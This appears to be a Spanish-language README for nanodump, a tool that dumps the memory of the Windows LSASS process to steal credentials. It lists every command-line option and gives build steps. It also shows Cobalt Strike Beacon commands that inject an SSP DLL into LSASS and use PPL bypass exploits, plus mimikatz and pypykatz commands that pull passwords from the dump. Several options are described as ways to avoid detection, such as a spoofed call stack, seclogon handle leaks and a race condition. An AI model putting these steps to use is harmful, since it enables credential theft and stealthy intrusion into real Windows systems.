
La navaja suiza del volcado de LSASS
Una herramienta flexible que crea un minidump del proceso LSASS.

usage: Z:\nanodump.x64.exe [--write C:\Windows\Temp\doc.docx] [--valid] [--duplicate] [--elevate-handle] [--duplicate-elevate] [--seclogon-leak-local] [--seclogon-leak-remote C:\Windows\notepad.exe] [--seclogon-duplicate] [--spoof-callstack] [--silent-process-exit C:\Windows\Temp] [--shtinkering] [--fork] [--snapshot] [--getpid] [--help]
Dumpfile options:
--write DUMP_PATH, -w DUMP_PATH
nombre del archivo del dump
--valid, -v
crear un dump con una firma válida
Obtain an LSASS handle via:
--duplicate, -d
duplicar un handle existente de LSASS con altos privilegios
--duplicate-elevate, -de
duplicar un handle existente de LSASS con bajos privilegios y luego elevarlo
--seclogon-leak-local, -sll
filtrar un handle de LSASS en nanodump a través de seclogon
--seclogon-leak-remote BIN_PATH, -slt BIN_PATH
filtrar un handle de LSASS en otro proceso a través de seclogon y duplicarlo
--seclogon-duplicate, -sd
hacer que seclogon abra un handle a LSASS y lo duplique
--spoof-callstack, -sc
abrir un handle a LSASS usando una pila de llamadas falsa
Let WerFault.exe (instead of nanodump) create the dump
--silent-process-exit DUMP_FOLDER, -spe DUMP_FOLDER
forzar a WerFault.exe a volcar LSASS mediante SilentProcessExit
--shtinkering, -sk
forzar a WerFault.exe a volcar LSASS mediante Shtinkering
Avoid reading LSASS directly:
--fork, -f
bifurcar el proceso objetivo antes de volcar
--snapshot, -s
tomar una instantánea del proceso objetivo antes de volcar
Avoid opening a handle with high privileges:
--elevate-handle, -eh
abrir un handle a LSASS con bajos privilegios y duplicarlo para obtener mayores privilegios
Miscellaneous:
--getpid
imprimir el PID de LSASS y salir
--chunk-size
tamaño del fragmento en KiB utilizado para exfiltrar el dump sin tocar el disco (por defecto 900)
Help:
--help, -h
imprimir este mensaje de ayuda y salir
git clone https://github.com/fortra/nanodump.git
En Linux con MinGW
make -f Makefile.mingw
En Windows con MSVC (sin soporte BOF)
nmake -f Makefile.msvc
Importa el script NanoDump.cna en Cobalt Strike.
Ejecuta el comando nanodump en la consola de Beacon o el binario nanodump.x64.exe.
Si no especificaste la bandera --valid, necesitas restaurar la firma inválida.
scripts/restore_signature <dumpfile>
mimikatz:
Para obtener los secretos simplemente ejecuta:
mimikatz.exe "sekurlsa::minidump <dumpfile>" "sekurlsa::logonPasswords full" exit
pypykatz:
Si prefieres quedarte en Linux, puedes usar el puerto python3 de mimikatz llamado pypykatz:
python3 -m pypykatz lsa minidump <dumpfie>
Para evitar abrir un handle a LSASS con PROCESS_VM_READ, puedes usar el parámetro --fork.
Esto hará que nanodump cree un handle a LSASS con acceso PROCESS_CREATE_PROCESS y luego cree un 'clon' del proceso. Este nuevo proceso será volcado. Si bien esto resultará en la creación y eliminación de un proceso, elimina la necesidad de leer LSASS directamente.
De manera similar a la opción --fork, puedes usar --snapshot para crear una instantánea del proceso LSASS.
Esto hará que nanodump cree un handle a LSASS con acceso PROCESS_CREATE_PROCESS y luego cree una instantánea del proceso usando PssNtCaptureSnapshot. Este nuevo proceso será volcado. La instantánea se liberará automáticamente al finalizar.
Dado que abrir un handle a LSASS puede ser detectado, nanodump puede buscar handles existentes a LSASS.
Si se encuentra uno, lo copiará y lo usará para crear el minidump.
Ten en cuenta que no se garantiza encontrar dicho handle.
Puedes obtener un handle a LSASS con PROCESS_QUERY_LIMITED_INFORMATION, que probablemente esté en la lista blanca, y luego elevar ese handle duplicándolo.
Para evitar abrir un handle a LSASS, puedes abusar del servicio seclogon llamando a CreateProcessWithLogonW para filtrar un handle de LSASS en el binario nanodump.
Para habilitar esta función, usa el parámetro --seclogon-leak-local.
Ten en cuenta que cuando se usa desde Cobalt Strike, es necesario escribir un binario nanodump sin firmar en el disco para usar esta función.
Esta técnica es muy similar a la anterior, pero en lugar de filtrar el handle en nanodump, se filtra en otro binario y luego se duplica para que nanodump pueda usarlo.
Usa la bandera --seclogon-leak-remote para acceder a esta funcionalidad.
Puedes engañar al proceso seclogon para que abra un handle a LSASS y lo duplique antes de que se cierre, ganando una condición de carrera utilizando bloqueos de archivos.
Usa la bandera --seclogon-duplicate para acceder a esta funcionalidad.
Puedes cargar nanodump como un SSP en LSASS para evitar abrir un handle.
Cuando la DLL se haya cargado en LSASS, los parámetros se pasarán a través de una tubería con nombre y, una vez completado el volcado, DllMain devolverá FALSE para que LSASS descargue la DLL de nanodump.
Puedes codificar los parámetros en la DLL y evitar usar la tubería con nombre por completo con la bandera del compilador PASS_PARAMS_VIA_NAMED_PIPES=0.
De forma predeterminada, se cargará una DLL de nanodump sin firmar en la carpeta Temp, que se eliminará automáticamente.
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp
Si deseas cargar una DLL preexistente, puedes ejecutar:
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp --load-dll C:\Windows\Temp\ssp.dll
Ten en cuenta que esta vulnerabilidad se corrigió en el paquete de actualización de julio de 2022 (Windows 10 21H2 Build 19044.1826)
Para acceder a esta función, usa el comando nanodump_ppl_dump
beacon> nanodump_ppl_dump -v -w C:\Windows\Temp\lsass.dmp
Para acceder a esta función, usa el comando nanodump_ppl_medic
beacon> nanodump_ppl_medic -v -w C:\Windows\Temp\lsass.dmp